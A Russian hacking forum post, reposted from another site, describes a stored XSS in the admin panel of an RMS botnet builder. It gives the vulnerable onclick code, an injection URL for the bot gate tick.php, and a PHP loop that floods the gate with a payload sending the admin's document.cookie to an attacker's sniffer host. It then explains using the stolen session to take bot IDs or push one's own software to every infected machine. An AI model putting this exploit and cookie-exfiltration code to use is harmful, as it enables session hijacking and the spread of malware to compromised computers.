ПЕНТЕСТИНГ Активная XSS.Cyber Industries Gate

Тема в разделе "ПЕНТЕСТИНГ (Паблик)", создана пользователем Антоха, 3 окт 2016.

↑ ↓
  1. Антоха Администратор
    Антоха
    Ответить в чате

    Администрация

    Регистрация:
    26.12.2012
    Сообщения:
    3.174
    Симпатии:
    11.089
    Пол:
    Мужской
    Репа:
    +11.237 / 47 / -6
    Jabber:
    Skype:
    Статейка естественно копипаст.
    Источник:krober.biz
    Автор:Lebron

    Сегодня мы будем чекать на баги админ-панель сборки RMS.

    Изучив весь сорц, я обнаружил, что работа с бд идет через PDO, а значит ловить скуль-инжекты было практически бессмысленно. На удачу, попробовал поискать second order injection, но и этого тоже не было, потому как контент из базы данных почти не использовался в запросах (кому интересно, как это можно было бы заюзать - http://stackoverflow.com/questions/12952187).

    Active XSS
    Оставалось только искать баги в клиентской части. Тут тоже все было довольно печально - все переменные либо приводились к int, либо фильтровались через htmlspecialchars. Однако, часть переменных находилась внутри одинарных кавычек события onclick (которые функция htmlspecialchars по умолчанию не преобразует), что позволяло внедрить кривую хранимую XSS.

    index.php, 98 строка:

    Код:
    <span class=\"input-group-addon btn\" onclick=\"saveComment('" . htmlspecialchars($value['RMSID']) . "', this)\">
    index.php, 107 строка:

    Код:
    <button class=\"btn btn-primary btn-xs\" onclick=\"executeFocus('" . htmlspecialchars($value['RMSID']) . "')\">
    Гейт, куда стучат боты tick.php:

    Код:
    insertIntoDB(    $_REQUEST['id'],
            $_REQUEST['userpc'],
            $_REQUEST['os'],
            $_REQUEST['admin'],
            $_REQUEST['comment']
                );
    $command = getCommand($_REQUEST['id']);
    if (empty($command))
        print("TRUE");
    else
        print($command);
    Отправляем:

    Код:
    /tick.php?id=1234', this); alert(document.cookie);a=('&os=123&userpc=win&admin=1&comment=hello
    В админке жмакаем на кнопку редактирования комментария или на кнопку фокуса:

    1322323.

    Автор сказал, что флуд админки не считается за багу, однако, чтобы получить хоть какой-то результат немного пофлудить все-таки придется:

    Код:
    <?php
    for($i=0;$i<50;$i++){
        $gate = "http://rms/tick.php";
        $payload = '?id=1337'.rand(1,1000).'\',this);img='.urlencode('new Image();').'img.src=\'http://sniff/snf.php?\'+document.cookie;a=(\'&os=123&userpc=win&admin=1&comment=p';
        echo file_get_contents($gate.$payload)."<br>";
    }
    Принцип следующий:

    1. Ботовод заходит в админку.
    2. Видит кучу левых ботов.
    3. Пытается их удалить/отредактировать...
    4. Если повезет (о боженька, молю тебя об этом) запускает наш js-код...
    И кука админа летит на сниффер:

    sniff.

    ПРОФИТ!
    Подставляем куку себе в браузер, заходим в админку, пиздим ID ботов/даем всем задание на прогруз своего софта/удаляем ботов.

    Finish.
    Хочется заметить, что данная админка существенно отличается в плане защиты от того, с чем я сталкивался раньше. Все что мы смогли найти - одна xss, которая эксплуатируется не самым простым способом. Плюсом, в файле robots.txt закрыта индексация и найти еще таких админок просто не вышло.

    P.S. есть еще одна мелкая ошибка - клип Prodigy в ифрейме не открывается.
     
    • Мне нравится Мне нравится x 1
Похожие темы:
  1. Антоха
    Ответов:
    1
    Просмотров:
    1.467
  2. X-Shar
    Ответов:
    1
    Просмотров:
    1.725
Загрузка...

Поделиться этой страницей